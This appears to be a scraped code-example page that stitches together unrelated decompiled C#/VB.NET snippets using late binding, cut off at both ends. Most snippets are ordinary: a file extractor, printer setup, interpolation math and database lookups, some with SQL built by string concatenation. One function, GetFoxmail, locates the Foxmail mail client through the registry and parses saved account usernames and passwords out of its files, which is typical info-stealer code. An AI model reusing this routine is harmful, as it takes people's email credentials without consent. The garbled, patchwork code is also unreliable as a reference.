            return(left);
        }
Ejemplo n.º 19
0
 void DoCommand(string com)
 {
     Console.WriteLine(com);
     NewLateBinding.LateCall(_PSApplication, (Type)null, "Exec", new object[] { com }, (string[])null, (Type[])null, new bool[] { true }, true);
 }
Ejemplo n.º 20
0
        internal static void LoadInspection(string InspectionID)
        {
            DataTable dataTable1 = mdUtility.DB.GetDataTable("SELECT * FROM Inspection_Data WHERE [insp_data_id]={" + InspectionID + "}");

            Inspection.ClearInspections();
            if (dataTable1.Rows.Count <= 0)
            {
                return;
            }
            mdUtility.fMainForm.m_bInspLoaded = false;
            DataRow row = dataTable1.Rows[0];

            mdUtility.fMainForm.CanEditInspection = Inspection.CanEditInspection(InspectionID);
            if (Microsoft.VisualBasic.CompilerServices.Operators.ConditionalCompareObjectEqual(row["insp_data_type"], (object)1, false))
            {
                mdUtility.fMainForm.optRatingType_1.Checked = true;
            }
            else if (Microsoft.VisualBasic.CompilerServices.Operators.ConditionalCompareObjectEqual(row["insp_data_type"], (object)2, false))
            {
                mdUtility.fMainForm.optRatingType_2.Checked = true;
            }
            else
            {
                mdUtility.fMainForm.optRatingType_3.Checked = true;
            }
            if (Conversions.ToBoolean(row["insp_data_samp"]))
            {
                mdUtility.fMainForm.optMethod_1.Checked = true;
            }
            else
            {
                mdUtility.fMainForm.optMethod_0.Checked = true;
            }
            mdUtility.fMainForm.lblSampQty.Text = mdUtility.fMainForm.lblSecQtyUM.Text;
            if (!Information.IsDBNull(RuntimeHelpers.GetObjectValue(row["insp_data_comments"])))
            {
                mdUtility.fMainForm.tsbComment.Image = (Image)BuilderRED.My.Resources.Resources.Clipboard_Check;
            }
            else
            {
                mdUtility.fMainForm.tsbComment.Image = (Image)BuilderRED.My.Resources.Resources.Clipboard;
            }
            if (!Information.IsDBNull(RuntimeHelpers.GetObjectValue(dataTable1.Rows[0]["InspectorLink"])))
            {
                DataTable dataTable2 = mdUtility.DB.GetDataTable("SELECT * FROM UserAccount WHERE User_ID={" + dataTable1.Rows[0]["InspectorLink"].ToString() + "}");
                if (dataTable2.Rows.Count > 0)
                {
                    string Left1 = Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(dataTable2.Rows[0]["LastName"], (object)""));
                    string Left2 = Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(dataTable2.Rows[0]["FirstName"], (object)""));
                    if ((uint)Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left1, "", false) > 0U)
                    {
                        if ((uint)Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left2, "", false) > 0U)
                        {
                            Left1 = Left1 + ", " + Left2;
                        }
                    }
                    else if ((uint)Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left2, "", false) > 0U)
                    {
                        Left1 = Left2;
                    }
                    if ((uint)Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left1, "", false) > 0U)
                    {
                        mdUtility.fMainForm.tsslStatus.Text = "Inspected By: " + Left1;
                    }
                    else
                    {
                        mdUtility.fMainForm.tsslStatus.Text = "LookupDataBaseName";
                    }
                }
                else
                {
                    mdUtility.fMainForm.tsslStatus.Text = "LookupDataBaseName";
                }
            }
            Sample.LoadSampleList(InspectionID);
            frmMain fMainForm = mdUtility.fMainForm;

            if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(fMainForm.CurrentLocation, "", false) == 0)
            {
                fMainForm.cboLocation.SelectedIndex = 0;
            }
            else
            {
                bool flag  = false;
                int  num   = checked (fMainForm.cboLocation.Items.Count - 1);
                int  index = 0;
                while (index <= num)
                {
                    if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Strings.Right(Conversions.ToString(NewLateBinding.LateIndexGet(fMainForm.cboLocation.Items[index], new object[1] {
                        (object)"Name"
                    }, (string[])null)), Strings.Len(fMainForm.tvInspection.GetNodeByKey(fMainForm.CurrentLocation).Text)), fMainForm.tvInspection.GetNodeByKey(fMainForm.CurrentLocation).Text, false) == 0)
                    {
                        flag = true;
                        break;
                    }
                    checked { ++index; }
                }
                fMainForm.cboLocation.SelectedIndex = !flag ? 0 : index;
            }
            mdUtility.fMainForm.cboLocation_SelectedIndexChanged((object)null, (EventArgs)null);
            fMainForm.m_bInspLoaded = true;
        }
Ejemplo n.º 21
0
        public static void ExtractBig(string file)
        {
            string str1 = "";

            string[] strArray = file.Split('\\');
            string   str2     = strArray[checked (strArray.Length - 1)];
            string   folder   = file.Substring(0, file.LastIndexOf("\\")) + "\\";

            Console.WriteLine("[STARTING] Extraction of the DAT file has started...\r\n");
            string     str3    = str1 + "[STARTING] Extraction of the DAT file has started...\r\n\r\n";
            FileStream DatFile = new FileStream(file, FileMode.Open);

            DatFile.Seek(0L, SeekOrigin.Begin);
            Console.WriteLine("[STEP 1] Reading DatFile header... PLEASE WAIT\r\n");
            string str4 = str3 + "[STEP 1] Reading DatFile header... PLEASE WAIT\r\n\r\n";

            byte[] numArray1 = new byte[3];
            byte[] numArray2 = new byte[2] {
                (byte)61, (byte)10
            };
            byte[] numArray3 = DuneExtractor.DuneExtractor.ReadData(DatFile, 2);
            string log;

            if ((int)numArray3[0] == (int)numArray2[0] & (int)numArray3[1] == (int)numArray2[1])
            {
                Console.WriteLine("Cryo DatFile Detected... \r\n");
                string str5 = str4 + "DatFile Detected... \r\n\r\n";
                Console.WriteLine("[STEP 2] Extracting each files... PLEASE WAIT\r\n");
                string    str6      = str5 + "[STEP 2] Extracting each files... PLEASE WAIT\r\n\r\n";
                ArrayList arrayList = new ArrayList();
                int       num       = 0;
                do
                {
                    DuneExtractor.DuneExtractor.DatasSection section = new DuneExtractor.DuneExtractor.DatasSection();
                    DuneExtractor.DuneExtractor.ReadDatFileSectionHeader(DatFile, section);
                    if ((uint)Operators.CompareString(section.NameOfFile, "", false) > 0U)
                    {
                        arrayList.Add((object)section);
                        DatFile.ReadByte();
                    }
                    else
                    {
                        break;
                    }
                }while (!Operators.ConditionalCompareObjectGreater((object)num, NewLateBinding.LateGet(arrayList[0], (Type)null, "OffsetOfFile", new object[0], (string[])null, (Type[])null, (bool[])null), false));
                folder = folder + str2 + "_\\";
                try
                {
                    foreach (DuneExtractor.DuneExtractor.DatasSection datasSection in arrayList)
                    {
                        Console.WriteLine("Extracting... " + datasSection.NameOfFile + " (" + Math.Round((double)datasSection.SizeOfFile / 1024.0, 2).ToString() + " KB)");
                        str6 = str6 + "Extracting... " + datasSection.NameOfFile + " (" + Math.Round((double)datasSection.SizeOfFile / 1024.0, 2).ToString() + " KB)\r\n";
                        DuneExtractor.DuneExtractor.ReadWriteSectionData(DatFile, folder + datasSection.NameOfFile, datasSection.OffsetOfFile, datasSection.SizeOfFile);
                    }
                }
                finally
                {
                    IEnumerator enumerator;
                    if (enumerator is IDisposable)
                    {
                        (enumerator as IDisposable).Dispose();
                    }
                }
                Console.WriteLine("\r\n[DONE] Extraction finished !\r\n");
                log = str6 + "\r\n[DONE] Extraction finished !\r\n";
            }
            else
            {
                Console.WriteLine("FATAL ERROR: " + file + " is not a valid Cryo DatFile !\r\n");
                log = str4 + "FATAL ERROR: " + file + " is not a valid Cryo DatFile !\r\n\r\n";
            }
            DatFile.Close();
            DuneExtractor.DuneExtractor.WriteLog(log, folder);
        }
    // Token: 0x060000B1 RID: 177 RVA: 0x0000C48C File Offset: 0x0000A68C
    public static object GetFoxmail()
    {
        string text = string.Empty;
        object result;

        try
        {
            object   obj         = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command").GetValue("").ToString();
            object   instance    = obj;
            Type     type        = null;
            string   memberName  = "Remove";
            object[] array       = new object[1];
            object[] array2      = array;
            int      num         = 0;
            object   obj2        = obj;
            object   instance2   = obj2;
            Type     type2       = null;
            string   memberName2 = "LastIndexOf";
            object[] array3      = new object[1];
            object[] array4      = array3;
            int      num2        = 0;
            string   text2       = "Foxmail.exe";
            array4[num2] = text2;
            array2[num]  = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(instance2, type2, memberName2, array3, null, null, null));
            object[] array5        = array;
            object[] arguments     = array5;
            string[] argumentNames = null;
            Type[]   typeArguments = null;
            bool[]   array6        = new bool[]
            {
                true
            };
            object instance3 = NewLateBinding.LateGet(instance, type, memberName, arguments, argumentNames, typeArguments, array6);
            if (array6[0])
            {
                NewLateBinding.LateSetComplex(obj2, null, "LastIndexOf", new object[]
                {
                    text2,
                    RuntimeHelpers.GetObjectValue(array5[0])
                }, null, null, true, false);
            }
            obj = Operators.ConcatenateObject(NewLateBinding.LateGet(instance3, null, "Replace", new object[]
            {
                "\"",
                ""
            }, null, null, null), "Storage\\");
            foreach (string text3 in Directory.GetDirectories(Conversions.ToString(obj), "*@*", SearchOption.TopDirectoryOnly))
            {
                try
                {
                    string   str         = text3.Substring(text3.LastIndexOf("\\") + 1);
                    string   path        = text3 + "\\Accounts\\Account.rec0";
                    object   obj3        = new FileStream(path, FileMode.Open);
                    object   obj4        = Conversions.ToInteger(NewLateBinding.LateGet(obj3, null, "Length", new object[0], null, null, null));
                    object   obj5        = new byte[Conversions.ToInteger(Operators.SubtractObject(obj4, 1)) + 1];
                    bool     flag        = false;
                    string   text4       = "";
                    object   instance4   = obj3;
                    Type     type3       = null;
                    string   memberName3 = "Read";
                    object[] array7      = new object[]
                    {
                        RuntimeHelpers.GetObjectValue(obj5),
                        0,
                        RuntimeHelpers.GetObjectValue(obj4)
                    };
                    object[] arguments2     = array7;
                    string[] argumentNames2 = null;
                    Type[]   typeArguments2 = null;
                    array6 = new bool[]
                    {
                        true,
                        false,
                        true
                    };
                    NewLateBinding.LateCall(instance4, type3, memberName3, arguments2, argumentNames2, typeArguments2, array6, true);
                    if (array6[0])
                    {
                        obj5 = RuntimeHelpers.GetObjectValue(array7[0]);
                    }
                    if (array6[2])
                    {
                        obj4 = RuntimeHelpers.GetObjectValue(array7[2]);
                    }
                    int num3;
                    if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet(obj5, new object[]
                    {
                        0
                    }, null), 208, false))
                    {
                        num3 = 0;
                    }
                    else
                    {
                        num3 = 1;
                    }
                    int num4 = 0;
                    int num5 = Conversions.ToInteger(Operators.SubtractObject(obj4, 1));
                    for (int j = num4; j <= num5; j++)
                    {
                        if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[]
                        {
                            j
                        }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[]
                        {
                            j
                        }, null), 127, false) && Operators.ConditionalCompareObjectNotEqual(NewLateBinding.LateIndexGet(obj5, new object[]
                        {
                            j
                        }, null), 61, false))
                        {
                            text4 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[]
                            {
                                j
                            }, null))));
                            string str2 = "";
                            if (text4.Equals("Account") || text4.Equals("POP3Account"))
                            {
                                int num6 = j + 9;
                                if (num3 == 0)
                                {
                                    num6 = j + 2;
                                }
                                while (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[]
                                {
                                    num6
                                }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[]
                                {
                                    num6
                                }, null), 127, false))
                                {
                                    str2 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[]
                                    {
                                        num6
                                    }, null))));
                                    num6++;
                                }
                                flag = true;
                                j    = num6;
                            }
                            else if (flag && (text4.Equals("Password") || text4.Equals("POP3Password")))
                            {
                                int num7 = j + 9;
                                if (num3 == 0)
                                {
                                    num7 = j + 2;
                                }
                                string text5 = "";
                                while (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateIndexGet(obj5, new object[]
                                {
                                    num7
                                }, null), 32, false) && Operators.ConditionalCompareObjectLess(NewLateBinding.LateIndexGet(obj5, new object[]
                                {
                                    num7
                                }, null), 127, false))
                                {
                                    text5 += Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet(obj5, new object[]
                                    {
                                        num7
                                    }, null))));
                                    num7++;
                                }
                                if (Operators.CompareString(text, string.Empty, false) == 0)
                                {
                                    text += "Foxmail:\r\n";
                                }
                                text = text + "User:"******"\r\n";
                                text = text + "Pass:"******"\r\n\r\n";
                                break;
                            }
                        }
                        else
                        {
                            text4 = "";
                        }
                    }
                    NewLateBinding.LateCall(obj3, null, "Close", new object[0], null, null, null, true);
                }
                catch (Exception ex)
                {
                }
            }
            if (Operators.CompareString(text, string.Empty, false) != 0)
            {
                text += "\r\n";
            }
            result = text;
        }
        catch (Exception ex2)
        {
        }
        return(result);
    }
Ejemplo n.º 23
0
        private static void initialSetting()
        {
            GetCvPort.PrinterNum = (short)0;

            try
            {
                foreach (object installedPrinter in PrinterSettings.InstalledPrinters)
                {
                    string strPrinterDeviceName = Conversions.ToString(installedPrinter);
                    string port = GetCvPort.GetPortName(ref strPrinterDeviceName);
                    string command;

                    if (Operators.CompareString(port, "", false) != 0)
                    {
                        object      prgEnv1 = CyStat.PrgEnv;
                        System.Type local1  = null;
                        command = "CvInitialize";
                        object[] objArray1 = new object[1]
                        {
                            (object)port
                        };
                        object[] Arguments1 = objArray1;
                        // ISSUE: variable of the null type
                        string[] local2 = null;
                        // ISSUE: variable of the null type
                        System.Type[] local3     = null;
                        bool[]        flagArray1 = new bool[1] {
                            true
                        };
                        bool[] CopyBack1 = flagArray1;
                        object obj       = NewLateBinding.LateGet(prgEnv1, (System.Type)local1, command, Arguments1, (string[])local2, (System.Type[])local3, CopyBack1);
                        if (flagArray1[0])
                        {
                            port = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray1[0]), typeof(string));
                        }
                        int num1 = Conversions.ToInteger(obj);

                        object prgEnv2 = CyStat.PrgEnv;
                        // ISSUE: variable of the null type
                        System.Type local4 = null;
                        command = "CvGetStatus";
                        object[] objArray2 = new object[1]
                        {
                            (object)num1
                        };
                        object[] Arguments2 = objArray2;
                        // ISSUE: variable of the null type
                        string[] local5 = null;
                        // ISSUE: variable of the null type
                        System.Type[] local6     = null;
                        bool[]        flagArray2 = new bool[1] {
                            true
                        };
                        bool[] CopyBack2 = flagArray2;
                        object Left2     = NewLateBinding.LateGet(prgEnv2, (System.Type)local4, command, Arguments2, (string[])local5, (System.Type[])local6, CopyBack2);
                        if (flagArray2[0])
                        {
                            num1 = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray2[0]), typeof(int));
                        }
                        // ISSUE: variable of a boxed type

                        PrinterName = strPrinterDeviceName;
                        PortName    = port;
                        PortNumber  = num1;
                    }
                }
            }
            catch (Exception ex)
            {
                LogClass log   = new LogClass();
                string[] lines = { DateTime.Now.ToString(), "Function Name : " + System.Reflection.MethodBase.GetCurrentMethod().Name, ex.ToString() };
                log.writeLog(lines);
            }
        }
Ejemplo n.º 24
0
        public void CalculateY(
            double XX,
            ref double Sval,
            ref int Snum,
            ref double Fval,
            ref bool bres)
        {
            int num1 = 0;
            int num2 = this.NK - 1;

            for (int index = 1; index <= num2; ++index)
            {
                if (Conversions.ToBoolean(Operators.AndObject(Operators.CompareObjectLessEqual(NewLateBinding.LateIndexGet((object)this.X, new object[1]
                {
                    (object)index
                }, (string[])null), (object)XX, false), Operators.CompareObjectLessEqual((object)XX, NewLateBinding.LateIndexGet((object)this.X, new object[1]
                {
                    (object)(index + 1)
                }, (string[])null), false))))
                {
                    num1 = index;
                }
            }
            if (num1 > 0)
            {
                NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                {
                    (object)4,
                    RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)this.B, new object[2]
                    {
                        (object)4,
                        (object)num1
                    }, (string[])null))
                }, (string[])null);
                int num3 = 1;
                do
                {
                    NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                    {
                        (object)num3,
                        Operators.MultiplyObject(NewLateBinding.LateIndexGet((object)this.B, new object[2]
                        {
                            (object)num3,
                            (object)num1
                        }, (string[])null), (object)Math.Pow(XX, (double)(4 - num3)))
                    }, (string[])null);
                    ++num3;
                }while (num3 <= 3);
                int num4 = 1;
                do
                {
                    double num5 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                    {
                        (object)num4
                    }, (string[])null));
                    int num6 = 1;
                    do
                    {
                        if (Operators.ConditionalCompareObjectGreater((object)num5, NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                        {
                            (object)num6
                        }, (string[])null), false))
                        {
                            num5 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                            {
                                (object)num6
                            }, (string[])null));
                            double num7 = Conversions.ToDouble(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                            {
                                (object)num6
                            }, (string[])null));
                            NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                            {
                                (object)num6,
                                RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                                {
                                    (object)num4
                                }, (string[])null))
                            }, (string[])null);
                            NewLateBinding.LateIndexSet((object)this.PN, new object[2]
                            {
                                (object)num4,
                                (object)num7
                            }, (string[])null);
                        }
                        ++num6;
                    }while (num6 <= 4);
                    ++num4;
                }while (num4 <= 4);
                int num8 = 5;
                int num9 = 1;
                do
                {
                    if (Conversions.ToBoolean(Operators.AndObject(Operators.CompareObjectGreater(NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                    {
                        (object)num9
                    }, (string[])null), (object)0.0, false), (object)(num8 == 5))))
                    {
                        num8 = num9;
                    }
                    ++num9;
                }while (num9 <= 4);
                double num10 = 0.0;
                for (int index = num8 - 1; index >= 1; index += -1)
                {
                    num10 = Conversions.ToDouble(Operators.AddObject((object)num10, NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                    {
                        (object)index
                    }, (string[])null)));
                }
                double num11 = 0.0;
                for (int index = num8; index <= 4; ++index)
                {
                    num11 = Conversions.ToDouble(Operators.AddObject((object)num11, NewLateBinding.LateIndexGet((object)this.PN, new object[1]
                    {
                        (object)index
                    }, (string[])null)));
                }
                double num12 = num11 + num10;
                Sval = num12;
                Snum = num1;
                double num13 = 0.0;
                int    nk    = this.NK;
                for (int index = 1; index <= nk; ++index)
                {
                    num13 = Conversions.ToDouble(Operators.AddObject((object)num13, Operators.MultiplyObject(NewLateBinding.LateIndexGet((object)this.A, new object[1]
                    {
                        (object)index
                    }, (string[])null), (object)Math.Pow(XX, (double)(index - 1)))));
                }
                Fval = num13;
                bres = true;
            }
            else
            {
                bres = false;
            }
        }
Ejemplo n.º 25
0
        public AcadLine Item(object vvarValue)
        {
            if (mobjDictEntities.Count > 0)
            {
                AcadDatabase dobjAcadDatabase = hwpDxf_Vars.pobjAcadDatabases.FriendGetItem(mlngDatabaseIndex);
                if (dobjAcadDatabase != null)
                {
                    AcadLine dobjAcadLine4 = default(AcadLine);
                    switch (Information.VarType(RuntimeHelpers.GetObjectValue(vvarValue)))
                    {
                    case VariantType.Double:
                    {
                        double ddblObjectID2 = Conversions.ToDouble(vvarValue);
                        if (mobjDictEntities.ContainsKey("K" + Conversions.ToString(ddblObjectID2)))
                        {
                            double     ddblCurObjectID2 = Conversions.ToDouble(mobjDictEntities["K" + Conversions.ToString(ddblObjectID2)]);
                            double     vdblObjectID3    = ddblCurObjectID2;
                            AcadObject robjAcadObject   = dobjAcadLine4;
                            string     nrstrErrMsg      = "";
                            bool       flag             = dobjAcadDatabase.FriendObjectIdToObject(vdblObjectID3, ref robjAcadObject, ref nrstrErrMsg);
                            dobjAcadLine4 = (AcadLine)robjAcadObject;
                            if (flag)
                            {
                                return(dobjAcadLine4);
                            }
                        }
                        break;
                    }

                    case VariantType.String:
                    {
                        string vstrHexNum  = Conversions.ToString(vvarValue);
                        int    nrlngErrNum = 0;
                        string nrstrErrMsg = "";
                        if (!hwpDxf_Functions.BkDXF_ValidHexNum(vstrHexNum, ref nrlngErrNum, ref nrstrErrMsg))
                        {
                            break;
                        }
                        double ddblObjectID2 = hwpDxf_Functions.BkDXF_HexToDbl(Conversions.ToString(vvarValue));
                        if (mobjDictEntities.ContainsKey("K" + Conversions.ToString(ddblObjectID2)))
                        {
                            double     ddblCurObjectID2 = Conversions.ToDouble(mobjDictEntities["K" + Conversions.ToString(ddblObjectID2)]);
                            double     vdblObjectID2    = ddblCurObjectID2;
                            AcadObject robjAcadObject   = dobjAcadLine4;
                            nrstrErrMsg = "";
                            bool flag = dobjAcadDatabase.FriendObjectIdToObject(vdblObjectID2, ref robjAcadObject, ref nrstrErrMsg);
                            dobjAcadLine4 = (AcadLine)robjAcadObject;
                            if (flag)
                            {
                                return(dobjAcadLine4);
                            }
                        }
                        break;
                    }

                    case VariantType.Short:
                    case VariantType.Integer:
                    {
                        int dlngIndex = Conversions.ToInteger(vvarValue);
                        if ((dlngIndex >= 0) & (dlngIndex < mobjDictEntities.Count))
                        {
                            object dvarObjectIDs = RuntimeHelpers.GetObjectValue(hwpDxf_Functions.BkDXF_ValueCollectionToArray(mobjDictEntities.Values));
                            double vdblObjectID  = Conversions.ToDouble(NewLateBinding.LateIndexGet(dvarObjectIDs, new object[1]
                                {
                                    dlngIndex
                                }, null));
                            AcadObject robjAcadObject = dobjAcadLine4;
                            string     nrstrErrMsg    = "";
                            bool       flag           = dobjAcadDatabase.FriendObjectIdToObject(vdblObjectID, ref robjAcadObject, ref nrstrErrMsg);
                            dobjAcadLine4 = (AcadLine)robjAcadObject;
                            if (flag)
                            {
                                return(dobjAcadLine4);
                            }
                        }
                        break;
                    }
                    }
                }
            }
            AcadLine Item = default(AcadLine);

            return(Item);
        }
Ejemplo n.º 26
0
        public void BuildInterpolation()
        {
            int num1 = this.NK - 1;

            for (int index1 = 1; index1 <= num1; ++index1)
            {
                int num2 = this.NK - index1;
                for (int index2 = 1; index2 <= num2; ++index2)
                {
                    NewLateBinding.LateIndexSet((object)this.F, new object[3]
                    {
                        (object)(index1 + 1),
                        (object)index2,
                        Operators.DivideObject(Operators.SubtractObject(NewLateBinding.LateIndexGet((object)this.F, new object[2]
                        {
                            (object)index1,
                            (object)(index2 + 1)
                        }, (string[])null), NewLateBinding.LateIndexGet((object)this.F, new object[2]
                        {
                            (object)index1,
                            (object)index2
                        }, (string[])null)), Operators.SubtractObject(NewLateBinding.LateIndexGet((object)this.X, new object[1]
                        {
                            (object)(index2 + index1)
                        }, (string[])null), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                        {
                            (object)index2
                        }, (string[])null)))
                    }, (string[])null);
                }
            }
            int nk1 = this.NK;

            for (int index = 1; index <= nk1; ++index)
            {
                NewLateBinding.LateIndexSet((object)this.A, new object[2]
                {
                    (object)index,
                    (object)0.0
                }, (string[])null);
            }
            int num3 = this.NK - 1;

            for (int index1 = 1; index1 <= num3; ++index1)
            {
                if (index1 >= 6)
                {
                    this.S = 0.0;
                    for (int index2 = 1; index2 <= index1 - 5; ++index2)
                    {
                        for (int index3 = index2 + 1; index3 <= index1 - 4; ++index3)
                        {
                            for (int index4 = index3 + 1; index4 <= index1 - 3; ++index4)
                            {
                                for (int index5 = index4 + 1; index5 <= index1 - 2; ++index5)
                                {
                                    for (int index6 = index5 + 1; index6 <= index1 - 1; ++index6)
                                    {
                                        for (int index7 = index6 + 1; index7 <= index1; ++index7)
                                        {
                                            this.S = Conversions.ToDouble(Operators.AddObject((object)this.S, Operators.MultiplyObject(Operators.MultiplyObject(Operators.MultiplyObject(Operators.MultiplyObject(Operators.MultiplyObject(NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                            {
                                                (object)index2
                                            }, (string[])null), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                            {
                                                (object)index3
                                            }, (string[])null)), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                            {
                                                (object)index4
                                            }, (string[])null)), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                            {
                                                (object)index5
                                            }, (string[])null)), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                            {
                                                (object)index6
                                            }, (string[])null)), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                            {
                                                (object)index7
                                            }, (string[])null))));
                                        }
                                    }
                                }
                            }
                        }
                    }
                    NewLateBinding.LateIndexSet((object)this.A, new object[2]
                    {
                        (object)(index1 - 5),
                        Operators.AddObject(NewLateBinding.LateIndexGet((object)this.A, new object[1]
                        {
                            (object)(index1 - 5)
                        }, (string[])null), Operators.MultiplyObject((object)this.S, NewLateBinding.LateIndexGet((object)this.F, new object[2]
                        {
                            (object)(index1 + 1),
                            (object)1
                        }, (string[])null)))
                    }, (string[])null);
                    int num2 = 1 + 1 + 1 + 1 + 1;
                }
                if (index1 >= 5)
                {
                    this.S = 0.0;
                    for (int index2 = 1; index2 <= index1 - 4; ++index2)
                    {
                        for (int index3 = index2 + 1; index3 <= index1 - 3; ++index3)
                        {
                            for (int index4 = index3 + 1; index4 <= index1 - 2; ++index4)
                            {
                                for (int index5 = index4 + 1; index5 <= index1 - 1; ++index5)
                                {
                                    for (int index6 = index5 + 1; index6 <= index1; ++index6)
                                    {
                                        this.S = Conversions.ToDouble(Operators.AddObject((object)this.S, Operators.MultiplyObject(Operators.MultiplyObject(Operators.MultiplyObject(Operators.MultiplyObject(NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                        {
                                            (object)index2
                                        }, (string[])null), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                        {
                                            (object)index3
                                        }, (string[])null)), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                        {
                                            (object)index4
                                        }, (string[])null)), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                        {
                                            (object)index5
                                        }, (string[])null)), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                        {
                                            (object)index6
                                        }, (string[])null))));
                                    }
                                }
                            }
                        }
                    }
                    NewLateBinding.LateIndexSet((object)this.A, new object[2]
                    {
                        (object)(index1 - 4),
                        Operators.SubtractObject(NewLateBinding.LateIndexGet((object)this.A, new object[1]
                        {
                            (object)(index1 - 4)
                        }, (string[])null), Operators.MultiplyObject((object)this.S, NewLateBinding.LateIndexGet((object)this.F, new object[2]
                        {
                            (object)(index1 + 1),
                            (object)1
                        }, (string[])null)))
                    }, (string[])null);
                }
                if (index1 >= 4)
                {
                    this.S = 0.0;
                    for (int index2 = 1; index2 <= index1 - 3; ++index2)
                    {
                        for (int index3 = index2 + 1; index3 <= index1 - 2; ++index3)
                        {
                            for (int index4 = index3 + 1; index4 <= index1 - 1; ++index4)
                            {
                                for (int index5 = index4 + 1; index5 <= index1; ++index5)
                                {
                                    this.S = Conversions.ToDouble(Operators.AddObject((object)this.S, Operators.MultiplyObject(Operators.MultiplyObject(Operators.MultiplyObject(NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                    {
                                        (object)index2
                                    }, (string[])null), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                    {
                                        (object)index3
                                    }, (string[])null)), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                    {
                                        (object)index4
                                    }, (string[])null)), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                    {
                                        (object)index5
                                    }, (string[])null))));
                                }
                            }
                        }
                    }
                    NewLateBinding.LateIndexSet((object)this.A, new object[2]
                    {
                        (object)(index1 - 3),
                        Operators.AddObject(NewLateBinding.LateIndexGet((object)this.A, new object[1]
                        {
                            (object)(index1 - 3)
                        }, (string[])null), Operators.MultiplyObject((object)this.S, NewLateBinding.LateIndexGet((object)this.F, new object[2]
                        {
                            (object)(index1 + 1),
                            (object)1
                        }, (string[])null)))
                    }, (string[])null);
                }
                if (index1 >= 3)
                {
                    this.S = 0.0;
                    for (int index2 = 1; index2 <= index1 - 2; ++index2)
                    {
                        for (int index3 = index2 + 1; index3 <= index1 - 1; ++index3)
                        {
                            for (int index4 = index3 + 1; index4 <= index1; ++index4)
                            {
                                this.S = Conversions.ToDouble(Operators.AddObject((object)this.S, Operators.MultiplyObject(Operators.MultiplyObject(NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                {
                                    (object)index2
                                }, (string[])null), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                {
                                    (object)index3
                                }, (string[])null)), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                                {
                                    (object)index4
                                }, (string[])null))));
                            }
                        }
                    }
                    NewLateBinding.LateIndexSet((object)this.A, new object[2]
                    {
                        (object)(index1 - 2),
                        Operators.SubtractObject(NewLateBinding.LateIndexGet((object)this.A, new object[1]
                        {
                            (object)(index1 - 2)
                        }, (string[])null), Operators.MultiplyObject((object)this.S, NewLateBinding.LateIndexGet((object)this.F, new object[2]
                        {
                            (object)(index1 + 1),
                            (object)1
                        }, (string[])null)))
                    }, (string[])null);
                }
                if (index1 >= 2)
                {
                    this.S = 0.0;
                    for (int index2 = 1; index2 <= index1 - 1; ++index2)
                    {
                        for (int index3 = index2 + 1; index3 <= index1; ++index3)
                        {
                            this.S = Conversions.ToDouble(Operators.AddObject((object)this.S, Operators.MultiplyObject(NewLateBinding.LateIndexGet((object)this.X, new object[1]
                            {
                                (object)index2
                            }, (string[])null), NewLateBinding.LateIndexGet((object)this.X, new object[1]
                            {
                                (object)index3
                            }, (string[])null))));
                        }
                    }
                    NewLateBinding.LateIndexSet((object)this.A, new object[2]
                    {
                        (object)(index1 - 1),
                        Operators.AddObject(NewLateBinding.LateIndexGet((object)this.A, new object[1]
                        {
                            (object)(index1 - 1)
                        }, (string[])null), Operators.MultiplyObject((object)this.S, NewLateBinding.LateIndexGet((object)this.F, new object[2]
                        {
                            (object)(index1 + 1),
                            (object)1
                        }, (string[])null)))
                    }, (string[])null);
                }
                if (index1 >= 1)
                {
